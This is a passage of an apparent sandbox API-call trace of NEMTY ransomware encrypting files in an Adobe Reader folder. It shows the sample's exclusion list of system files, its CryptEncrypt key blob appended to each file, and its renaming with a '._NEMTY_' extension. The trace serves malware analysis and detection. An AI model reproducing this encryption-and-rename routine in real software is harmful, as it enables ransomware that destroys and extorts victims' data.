lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.css", lpUsedDefaultChar=0x0) returned 8 [0193.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.css", lpUsedDefaultChar=0x0) returned 8 [0193.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.css", lpUsedDefaultChar=0x0) returned 8 [0193.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.568] Sleep (dwMilliseconds=0x5) [0193.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27074b10, dwHighDateTime=0x1d561e8)) [0193.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27074b10, dwHighDateTime=0x1d561e8)) [0193.578] GetLastError () returned 0x0 [0193.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.579] GetLastError () returned 0x0 [0193.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.579] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.579] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.579] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.579] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="HsI53fjJ1GRiF8UD8Ej7Ok7pzKzOzqcrek+weIVElUbUREKw8cgctxqWivpZvPMC\r\nO/H7pmoeWLMWspY7fu7j45aMHaHuO8fcyxTiC5BRSaqz2qvWSDKHYX8FyZZDxRA8\r\nCBLCb+h4myr9b4aPevwAJHpFKCj4vHN63+XU+wJZpXe6DOFjYezx0ZZz9ssRrKYI\r\nKp88Mr+xyieOxvRMAhc/TTo7EkmEaLp6p7hxlmltLqYjadafQzAgjlX6xtN7NJ0G\r\nZXAQ6AKYL9hgvtXpWYT+B25HHrTuG2vxNuV/K4RE172Qcc3DXGTyD+6kxBJJj/eB\r\nHmL6PBFClHVzSitDl3LHHg==\r\n", pcchString=0x653e91c) returned 1 [0193.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.579] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.580] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=11930) returned 1 [0193.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2e90) returned 0x6352c48 [0193.580] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.580] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2e90, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x2e90, lpOverlapped=0x0) returned 1 [0193.582] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.582] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2e90, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x2e90, lpOverlapped=0x0) returned 1 [0193.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0193.582] SetFilePointer (in: hFile=0x254, lDistanceToMove=11930, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2e9a [0193.582] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.583] CloseHandle (hObject=0x254) returned 1 [0193.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.583] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\main.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\main.css._nemty_kgobjgd_")) returned 1 [0193.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.584] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="open_original_form.gif", cAlternateFileName="OPEN_O~1.GIF")) returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2=".") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="..") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="...") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="windows") returned -1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="rsa") returned -1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="NTDETECT.COM") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="ntldr") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="MSDOS.SYS") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="IO.SYS") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="boot.ini") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="boot.ini") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="ntuser.dat") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="desktop.ini") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="CONFIG.SYS") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="RECYCLER") returned -1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="bootmgr") returned 1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="programdata") returned -1 [0193.584] lstrcmpiW (lpString1="open_original_form.gif", lpString2="appdata") returned 1 [0193.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="open_original_form.gif", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0193.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="open_original_form.gif", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open_original_form.gif", lpUsedDefaultChar=0x0) returned 22 [0193.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="open_original_form.gif", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0193.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="open_original_form.gif", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open_original_form.gif", lpUsedDefaultChar=0x0) returned 22 [0193.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="open_original_form.gif", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0193.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="open_original_form.gif", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open_original_form.gif", lpUsedDefaultChar=0x0) returned 22 [0193.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="open_original_form.gif", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0193.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="open_original_form.gif", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open_original_form.gif", lpUsedDefaultChar=0x0) returned 22 [0193.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94330 [0193.585] Sleep (dwMilliseconds=0x5) [0193.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2709ac70, dwHighDateTime=0x1d561e8)) [0193.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2709ac70, dwHighDateTime=0x1d561e8)) [0193.594] GetLastError () returned 0x0 [0193.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.594] GetLastError () returned 0x0 [0193.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.594] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.594] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.594] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.594] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="E0gLZotw11Ns08SFIoHMSdVZL/2oarOtKbZAujMMqOfxA/Iv4r3gJtS6l3hNi3hH\r\nokicyPBTZ1NaEH4sDcc587yXLlkE6ovECtVe7dNbcfY7OfoYVylej0E+oSDuRWCz\r\nfsuL0gEV+JB9GgO3oc6ZpcJGWHSDmVI0Rsn9xQTE7hfRTJO7MjliWlkw4i9ZPSz4\r\n7O2LnbgVJxcr+mF8NSLA4ZS/uc7o1CQUGlUKYm2VwIGgsqPX00a7BWPFmldYS3xF\r\nB6NUfM8qq/Pn5GQ9sIXiwMm586F5wC6/SN73/UTbe+u70cGCuGlJTHO9hKMSJYqZ\r\nea+l9o4pZ3LPW2YHhX8/SA==\r\n", pcchString=0x653e91c) returned 1 [0193.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.595] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\open_original_form.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.595] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=806) returned 1 [0193.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x320) returned 0x6340048 [0193.596] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.596] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x320, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x320, lpOverlapped=0x0) returned 1 [0193.597] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.597] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x320, lpOverlapped=0x0) returned 1 [0193.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.598] SetFilePointer (in: hFile=0x254, lDistanceToMove=806, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x326 [0193.598] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.598] CloseHandle (hObject=0x254) returned 1 [0193.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0193.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.598] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\open_original_form.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\open_original_form.gif._nemty_kgobjgd_")) returned 1 [0193.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.599] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pdf.gif", cAlternateFileName="")) returned 1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2=".") returned 1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2="..") returned 1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2="...") returned 1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2="windows") returned -1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2="rsa") returned -1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2="NTDETECT.COM") returned 1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2="ntldr") returned 1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2="MSDOS.SYS") returned 1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2="IO.SYS") returned 1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2="boot.ini") returned 1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2="boot.ini") returned 1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2="ntuser.dat") returned 1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2="desktop.ini") returned 1 [0193.599] lstrcmpiW (lpString1="pdf.gif", lpString2="CONFIG.SYS") returned 1 [0193.600] lstrcmpiW (lpString1="pdf.gif", lpString2="RECYCLER") returned -1 [0193.600] lstrcmpiW (lpString1="pdf.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.600] 